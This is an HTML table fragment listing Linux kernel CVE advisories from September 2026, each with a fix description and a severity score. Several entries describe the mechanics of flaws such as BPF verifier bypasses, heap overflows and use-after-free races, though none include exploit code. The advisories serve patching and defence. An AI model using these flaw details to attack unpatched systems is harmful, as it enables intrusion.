&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93039&quot; target=&quot;_blank&quot;&gt;CVE-2026-93039&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: bpf: Reject arena frees below the arena base bpf_arena_free_pages() accepts scalar arena addresses. The runtime masks the address to the low 32 bits and reconstructs a full user address from the arena base before returning the range to the arena free tree. When the scalar value is below the low 32 bits of the arena base, full_uaddr falls below user_vm_start. The existing upper-end clipping then turns this into an out-of-range free-tree offset. A later allocation can reuse that offset and return an address below the arena mapping. Reject such frees before computing the clipped range.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93045&quot; target=&quot;_blank&quot;&gt;CVE-2026-93045&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: software node: Fix software_node_get_reference_args() with index -1 The bounds check for the index passed to software_node_get_reference_args() was failing when passed UINT_MAX, this in turn would lead to an out of bound access in the property array. Fix the bound check to also cover the UINT_MAX case.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93046&quot; target=&quot;_blank&quot;&gt;CVE-2026-93046&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: uio: Fix stale info pointer in failed registration path After device_add(), the UIO device is visible to userspace and /dev/uioX can be opened. If a later setup step fails, __uio_register_device() unwinds the device but leaves idev-&amp;gt;info pointing at the caller-owned struct uio_info. That is unsafe when an opener races with the failed registration path. The open file keeps a reference to the uio_device, while the caller sees registration failure and may free its struct uio_info. Later file operations can then follow idev-&amp;gt;info and dereference freed memory. Handle post-device_add() failures like unregister: remove UIO attributes while the info pointer is still valid, then clear idev-&amp;gt;info under info_lock and wake existing waiters/async users before removing the device and minor. This makes already-open file descriptors observe the same &quot;device gone&quot; state as normal uio_unregister_device().&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93054&quot; target=&quot;_blank&quot;&gt;CVE-2026-93054&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: media: ipu6: Do not free aux device pdata after init ipu6_bus_initialize_device() stores the isys/psys pdata pointer in struct ipu6_bus_device and initializes the auxiliary device. After that point, error unwinding must drop the auxiliary device reference and let ipu6_bus_release() free both the bus device and adev-&amp;gt;pdata. The isys and psys init paths already call put_device() when MMU initialization fails, and ipu6_bus_add_device() calls auxiliary_device_uninit() on auxiliary_device_add() failure. Both paths therefore run the bus release callback. The extra kfree(pdata) in the callers can release the same object a second time. Remove the manual pdata frees after the auxiliary device has been initialized. This issue was found by a static analysis checker and confirmed by manual source review.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93070&quot; target=&quot;_blank&quot;&gt;CVE-2026-93070&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: dax/fsdev: use __va(phys) for kaddr in direct_access Use __va(phys) instead of virt_addr + linear_offset for the kaddr return in __fsdev_dax_direct_access(). The previous code added a device-linear byte offset to virt_addr (which is __va of ranges[0]), but for multi-range devices with physical gaps between ranges, this linear arithmetic crosses the gap and produces a wrong kernel virtual address. Using __va(phys) where phys comes from dax_pgoff_to_phys() is correct for any range layout because the direct map translates each physical address independently. This leaves dev_dax-&amp;gt;virt_addr write-only, so remove the field (suggested by Dave Jiang).&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93074&quot; target=&quot;_blank&quot;&gt;CVE-2026-93074&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: cxl/features: Reject Get Feature count larger than the output buffer cxlctl_get_feature() sizes its output buffer from the user&#039;s fwctl_rpc.out_len, but the device is told to write cxl_mbox_get_feat_in.count bytes into rpc_out-&amp;gt;payload, which is a separate user-controlled value. Nothing bounds count against out_len, so a small out_len with a large count overflows the kvzalloc()&#039;d buffer. A heap OOB write reachable from FWCTL_RPC. Reject requests where count exceeds the available payload room, before allocating.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93079&quot; target=&quot;_blank&quot;&gt;CVE-2026-93079&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: hfsplus: validate thread record before delete key rebuild hfsplus_delete_cat() is called with str == NULL when the last open reference to an unlinked HFS+ hardlink backing inode is closed. In that case, the function finds the catalog thread by CNID and rebuilds the catalog key from thread.nodeName. That reconstruction path reads thread.nodeName.length directly from the catalog B-tree into fd.search_key and then copies length * 2 bytes into fd.search_key-&amp;gt;cat.name.unicode. It does not first check that the found record is a thread record or that its size matches the thread name. A corrupted image can therefore provide an oversized thread name length and make hfs_bnode_read() write past the catalog search-key allocation. Read the CNID record through hfsplus_brec_read_cat(), which bounds the record read to sizeof(hfsplus_cat_entry) and verifies that a thread record&#039;s size exactly matches nodeName.length. Together, these checks ensure an accepted thread name fits HFSPLUS_MAX_STRLEN. Reject non-thread records before building the delete key from the validated thread name. Share the thread-record-type helper between hfsplus_find_cat() and hfsplus_delete_cat().&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93095&quot; target=&quot;_blank&quot;&gt;CVE-2026-93095&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: esp: do not unref managed frag pages in esp_ssg_unref() esp_ssg_unref() releases the page references held on the source scatterlist after the AEAD operation completes. It calls skb_page_unref() on every frag page for an out-of-place transform (req-&amp;gt;src != req-&amp;gt;dst), and in the error path of esp_output_tail() (already_unref == true) on the request&#039;s own scatterlist. This is wrong when the skb carries managed frags (SKBFL_MANAGED_FRAG_REFS). Managed frags are owned by a zerocopy ubuf and the skb does not hold a per-frag page reference; io_uring SEND_ZC with a registered buffer attaches the bvec pages this way via io_sg_from_iter(). The rest of the stack honours this invariant: skb_release_data() skips the per-frag unref when SKBFL_MANAGED_FRAG_REFS is set, and skb_zcopy_managed() is the guard used at the other unref sites. esp_ssg_unref() is missing that guard, so for a managed-frag skb it drops a page reference the skb never acquired. This can underflow the page reference count and free a page that is still in use. Guard the function with skb_zcopy_managed() so both unref paths are skipped for managed-frag skbs, matching skb_release_data().&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93105&quot; target=&quot;_blank&quot;&gt;CVE-2026-93105&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: bpf: Mark tracing_multi trampolines as ftrace managed Since tracing_multi link does not set ftrace_managed, it would fail to release the tracing_multi link when attaching tracing_multi link and then attaching fentry link. [ 3.714215] WARNING: kernel/bpf/trampoline.c:1727 at bpf_trampoline_multi_detach+0x20b/0x240, CPU#1: test_progs/97 ... [ 3.733170] bpf_tracing_multi_link_release+0x14/0x30 [ 3.733890] bpf_link_free+0x58/0x130 [ 3.734414] bpf_link_release+0x23/0x30 Fix it by setting &#039;ftrace_managed = true&#039; in register_fentry_multi().&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93111&quot; target=&quot;_blank&quot;&gt;CVE-2026-93111&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: bpf: Require a BPF cpumask for bpf_cpumask_populate() bpf_cpumask_populate() writes to its destination with bitmap_copy(), but the destination is typed as struct cpumask *. That allows the verifier to accept borrowed cpumask pointers returned by read-only kfuncs, such as scx_bpf_get_online_cpumask(), as a writable destination. Make the destination a struct bpf_cpumask * so populate follows the same ownership rule as the other mutating cpumask kfuncs. Query kfuncs continue to accept const struct cpumask * inputs.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93112&quot; target=&quot;_blank&quot;&gt;CVE-2026-93112&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: platform/x86: asus-wmi: fix resource leaks on probe failure During driver initialization in asus_wmi_add(), various subsystems are registered sequentially. However, the error path labels are out of order relative to the registration sequence. Specifically: 1. If asus_wmi_custom_fan_curve_init() fails, the driver jumps to fail_custom_fan_curve. Because this label is placed below fail_sysfs, it bypasses the cleanup calls for the input device and sysfs groups, which were successfully registered before, leaking those resources. 2. If asus_screenpad_init() fails, the driver jumps to fail_screenpad. Because fail_screenpad is placed below fail_backlight, it bypasses the cleanup calls for backlight and rfkill, leaking those resources. Fix these resource leaks by reordering the error path labels in asus_wmi_add() to match the exact reverse order of the resource allocations.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93116&quot; target=&quot;_blank&quot;&gt;CVE-2026-93116&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: usb: gadget: f_fs: Fix fence cleanup in ffs_dmabuf_transfer() error paths The error paths for endpoint-disabled (ESHUTDOWN) and request-allocation failure (ENOMEM) in ffs_dmabuf_transfer() jump to err_fence_put which calls dma_fence_put() on the fence. However, at that point the fence has only been kmalloc&#039;d - dma_fence_init() has not been called yet, so the refcount and the fence ops are uninitialized. Calling dma_fence_put() on such an object leads to undefined behavior. Use kfree() instead, since the fence is just a plain allocation at this stage, and rename the label to err_fence_free to reflect the actual cleanup action.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93121&quot; target=&quot;_blank&quot;&gt;CVE-2026-93121&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: usb: gadget: uac: validate rate list length before storing UAC1 and UAC2 configfs rate-list attributes parse a comma-separated list of sampling rates and store each parsed value in fixed-size arrays. The arrays have UAC_MAX_RATES entries, but the store paths do not check that the input contains at most that many tokens before writing through opts-&amp;gt;name##s[i++]. Writing more than ten rates therefore writes past the end of the p_srates[] or c_srates[] array in struct f_uac1_opts or struct f_uac2_opts. With CONFIG_UBSAN_BOUNDS enabled, writing an 11-entry rate list to the UAC1 p_srate attribute reports: UBSAN: array-index-out-of-bounds drivers/usb/gadget/function/f_uac1.c:1669:1 index 10 is out of range for type &#039;int [10]&#039; __ubsan_handle_out_of_bounds.cold f_uac1_opts_p_srate_store configfs_write_iter vfs_write ksys_write do_syscall_64 The same reproducer against the UAC2 p_srate attribute reports: UBSAN: array-index-out-of-bounds drivers/usb/gadget/function/f_uac2.c:2087:1 index 10 is out of range for type &#039;int [10]&#039; __ubsan_handle_out_of_bounds.cold f_uac2_opts_p_srate_store configfs_write_iter vfs_write ksys_write do_syscall_64 Reject additional tokens once UAC_MAX_RATES entries have been parsed. Also keep the original kstrdup() pointer for kfree(), because strsep() advances the parsing cursor. Freeing the advanced cursor leaks the original buffer on successful parses and can free an interior pointer on some error paths.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93122&quot; target=&quot;_blank&quot;&gt;CVE-2026-93122&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: bpf: Reject rdonly/rdwr_buf_size kfunc arguments that exceed u32 max check_kfunc_args() detects a kfunc argument named rdonly_buf_size or rdwr_buf_size and stores reg-&amp;gt;var_off.value into meta-&amp;gt;r0_size, a u64, and does not bound it. check_kfunc_call() later copies that value into the returned register&#039;s mem_size field: meta-&amp;gt;r0_size = reg-&amp;gt;var_off.value; ... regs[BPF_REG_0].mem_size = meta.r0_size; regs[BPF_REG_0].mem_size is u32. A constant whose upper 32 bits are set gets truncated instead of causing a load-time rejection, so the verifier records a PTR_TO_MEM register with an approximately 4 GiB mem_size for whatever allocation the kfunc returned. A later access check against that register uses the truncated, wrong bound. Reject rdonly_buf_size/rdwr_buf_size values that exceed U32_MAX at the point meta-&amp;gt;r0_size is set.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93125&quot; target=&quot;_blank&quot;&gt;CVE-2026-93125&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: bpf: Drop scalar id on sign-extending narrowing stack fills When a spilled scalar is filled back with a sign-extending narrowing load (BPF_MEMSX), check_stack_read_fixed_off() copies the spilled register including its scalar id, but coerce_reg_to_size_sx() then sign-extends the filled register&#039;s value. If the same slot is also filled with a plain zero-extending load (BPF_MEM), both destination registers share the id yet hold different values. A later &#039;if &amp;lt;zext-reg&amp;gt; == const&#039; then refines the sign-extended register through sync_linked_regs() to a value it does not have at runtime (e.g. the verifier believes 0x80000000 while the register is 0xffffffff80000000), which can be turned into an out-of-bounds access. Drop the shared scalar id at the sign-extension site in check_mem_access() when sign extension actually changes the value, mirroring the BPF_MOVSX handling in check_alu_op() (no_sext = reg_umax &amp;lt; 2^(size*8-1)).&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93127&quot; target=&quot;_blank&quot;&gt;CVE-2026-93127&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: bpf: Fix use-after-free on mm_struct in bpf_find_vma() bpf_find_vma() reads task-&amp;gt;mm and calls mmap_read_trylock(mm) without holding a reference on the mm. On a foreign task, a concurrent exit_mm() can free the mm_struct between the lockless read and the trylock, resulting in a use-after-free. mm_struct is not SLAB_TYPESAFE_BY_RCU. For the current task, task-&amp;gt;mm is stable. For a foreign task, pin the mm under task-&amp;gt;alloc_lock and release it with mmput_async(), mirroring commit d8e27d2d22b6 (&quot;bpf: fix mm lifecycle in open-coded task_vma iterator&quot;). Use spin_trylock() instead of get_task_mm() so BPF context does not block on alloc_lock. Reject irqs-disabled contexts and !CONFIG_MMU on the foreign-task path because dropping the mm reference is not safe there. Race: CPU0 (BPF program) CPU1 (exiting task) ============================ ========================== bpf_find_vma(foreign_task): mm = task-&amp;gt;mm exit_mm(): task-&amp;gt;mm = NULL mmput(mm) -&amp;gt; frees mm_struct mmap_read_trylock(mm) // UAF on mm&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93137&quot; target=&quot;_blank&quot;&gt;CVE-2026-93137&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: bpf: Fix vmlinux BTF prep race in bpf_get_btf_vmlinux bpf_get_btf_vmlinux() lazily parses the vmlinux BTF under the bpf_verifier_lock, but publishes the result through a plain store and re-checks it through a plain lockless load. Nothing orders the stores initializing the struct btf inside btf_parse_vmlinux() against the store publishing the pointer: On a weakly ordered arch, a concurrent first-time caller taking the lockless fast path could in principle observe the pointer before the parsed contents are visible. The mutex_unlock() does not help such a reader given it only synchronizes with a later acquisition of the same lock. Thus, publish the pointer with smp_store_release() and read it on the fast path with smp_load_acquire(). Acquire semantics are needed rather than a dependency-ordered READ_ONCE(): btf_parse_vmlinux() also populates globals outside the returned object (e.g. bpf_ctx_convert.t). An address dependency would only order accesses performed through the pointer and not cover other globals.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93138&quot; target=&quot;_blank&quot;&gt;CVE-2026-93138&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: bpf: Reject writes through untrusted BTF pointers check_ptr_to_btf_access() lets program-type btf_struct_access callbacks validate writes before the default BTF access path rejects non-read accesses. That bypasses the read-only policy for untrusted BTF pointers created by helpers such as bpf_rdonly_cast(). Reject non-read accesses through PTR_UNTRUSTED BTF pointers at the common entry point, before the callback branch to handle all cases.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93144&quot; target=&quot;_blank&quot;&gt;CVE-2026-93144&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: s390/bpf: Replace ly instruction with llgf cpu_nr is a 32 bit value and BPF_REG_0 is a 64 bit register, when ly loads the cpu_nr into BPF_REG_0 it does not zero the upper bits, but llgf does.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93147&quot; target=&quot;_blank&quot;&gt;CVE-2026-93147&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: bpf: Reject MEM_ALLOC BTF accesses past object bounds BTF struct walks relax the struct-size check for accesses through a trailing flexible array. That is valid for ordinary BTF type walking, but PTR_TO_BTF_ID | MEM_ALLOC values point to objects allocated with the static BTF type size. When walking a MEM_ALLOC object, reject the access before applying the flexible-array relaxation if the access range extends past the struct size. Apply the same policy to struct ID matching so kfunc and kptr type checks do not walk past the allocated object bounds either.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93148&quot; target=&quot;_blank&quot;&gt;CVE-2026-93148&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: nvmet-rdma: fix response resource leak on queue teardown When an nvme target with rdma transport is removed while I/Os are in flight, a response can be posted but its send completion is never delivered before the connection is torn down. As a result nvmet_rdma_send_done() and nvmet_rdma_release_rsp() are never called for the response, and this leaks the allocated RDMA read/write context and request SGLs. These leaks are recreated by running blktests nvme/061 with the rdma transport and the siw driver. Kernel kmemleak feature reports them as follows: unreferenced object 0xffff88812bc490c0 (size 32): comm &quot;kworker/2:1H&quot;, pid 409, jiffies 4307744490 backtrace (crc 89afd339): __kmalloc_noprof+0x5f9/0x890 sgl_alloc_order+0x7b/0x380 nvmet_req_alloc_sgls+0x290/0x4f0 [nvmet] nvmet_rdma_map_sgl_keyed+0x241/0x12e0 [nvmet_rdma] nvmet_rdma_handle_command+0x73e/0xb80 [nvmet_rdma] __ib_process_cq+0x149/0x4c0 [ib_core] ib_cq_poll_work+0x49/0x160 [ib_core] process_one_work+0x8b2/0x1640 worker_thread+0x5fd/0xfe0 kthread+0x367/0x460 ret_from_fork+0x655/0x9d0 ret_from_fork_asm+0x1a/0x30 unreferenced object 0xffff88814bd05e80 (size 64): comm &quot;kworker/3:1H&quot;, pid 148, jiffies 4295195428 backtrace (crc e35510cb): __kmalloc_noprof+0x5f9/0x890 rdma_rw_ctx_init+0x333/0x1fa0 [ib_core] nvmet_rdma_map_sgl_keyed+0x5c8/0x12e0 [nvmet_rdma] nvmet_rdma_handle_command+0x73e/0xb80 [nvmet_rdma] __ib_process_cq+0x149/0x4c0 [ib_core] ib_cq_poll_work+0x49/0x160 [ib_core] process_one_work+0x8b2/0x1640 worker_thread+0x5fd/0xfe0 kthread+0x367/0x460 ret_from_fork+0x655/0x9d0 ret_from_fork_asm+0x1a/0x30 To avoid the memory leaks, reclaim the memory of the in-flight responses when the queue QP is torn down. Call nvmet_rdma_free_rsp_resources() that frees up the RDMA read/write context and the request SGLs of such responses.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93151&quot; target=&quot;_blank&quot;&gt;CVE-2026-93151&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: RDMA/irdma: Add refcounting to user ring MRs Prevent userspace from deregistering the MRs that back QP/CQ/SRQ rings by bumping the MR&#039;s refcount upon association.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93154&quot; target=&quot;_blank&quot;&gt;CVE-2026-93154&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: platform/chrome: sensorhub: Fix memory overread in ring handler `max_response` and `sensor_num` are read from different EC commands: - `max_response` is from cros_ec_get_proto_info(). ec_dev-&amp;gt;max_response = info-&amp;gt;max_response_packet_size - sizeof(struct ec_host_response); - `sensor_num` is from cros_ec_get_sensor_count(). sensor_num = cros_ec_get_sensor_count(ec); With a malfunctioning EC firmware, it is possible that the `msg-&amp;gt;insize` (i.e., `fifo_info_length` in the context) could be clamped in cros_ec_cmd_xfer() because `msg-&amp;gt;insize` is greater than `max_response`. int fifo_info_length = sizeof(struct ec_response_motion_sense_fifo_info) + sizeof(u16) * sensorhub-&amp;gt;sensor_num; This means the number of read bytes could be less than expected. As a result, the subsequent memcpy() in cros_ec_sensorhub_ring_handler() overreads the `resp-&amp;gt;fifo_info` buffer. Check the return value of cros_ec_cmd_xfer_status() and abort if the number of bytes read does not match the expected length.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;7.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93165&quot; target=&quot;_blank&quot;&gt;CVE-2026-93165&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: dmaengine: xilinx_dma: Fix channel idle state management in AXIDMA and MCDMA interrupt handlers Fix a race condition in AXIDMA and MCDMA irq handlers where the channel could be incorrectly marked as idle and attempt spurious transfers when descriptors are still being processed. The issue occurs when: 1. Multiple descriptors are queued and active. 2. An interrupt fires after completing some descriptors. 3. xilinx_dma_complete_descriptor() moves completed descriptors to done_list. 4. Channel is marked idle and start_transfer() is called even though active_list still contains unprocessed descriptors. 5. This leads to premature transfer attempts and potential descriptor corruption or missed completions. Only mark the channel as idle and start new transfers when the active list is actually empty, ensuring proper channel state management and avoiding spurious transfer attempts.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93170&quot; target=&quot;_blank&quot;&gt;CVE-2026-93170&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: drm/amd/display: Fix dangling pointer in CRTC reset function amdgpu_dm_crtc_reset_state() frees the old state before allocating a new one. If kzalloc() fails, the function returns without updating the state pointer, leaving a dangling pointer to already freed memory. Fix this by allocating the new state first. On allocation failure, the old state remains untouched and the function safely returns. Found by Linux Verification Center (linuxtesting.org) with SVACE. [adjust for movement around current amd-staging-drm-next]&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93175&quot; target=&quot;_blank&quot;&gt;CVE-2026-93175&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: drm/amd/display: Fix dangling pointer in plane reset function amdgpu_dm_plane_drm_plane_reset() frees the old state before allocating a new one. If kzalloc() fails, the function returns without updating the state pointer, leaving a dangling pointer to already freed memory. Fix this by allocating the new state first. On allocation failure, the old state remains untouched and the function safely returns. Found by Linux Verification Center (linuxtesting.org) with SVACE. [adjust for movement around current amd-staging-drm-next]&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93176&quot; target=&quot;_blank&quot;&gt;CVE-2026-93176&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: drm/amdgpu/pm/powerplay: bounds-check voltage index in Vega10 lookup vddInd, vddciInd and mvddInd from VBIOS-parsed tables index into vddc, vddci and vddmem lookup tables without bounds checks across nine sites. Return -EINVAL when any index is out of range.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;7.3&lt;/td&gt;
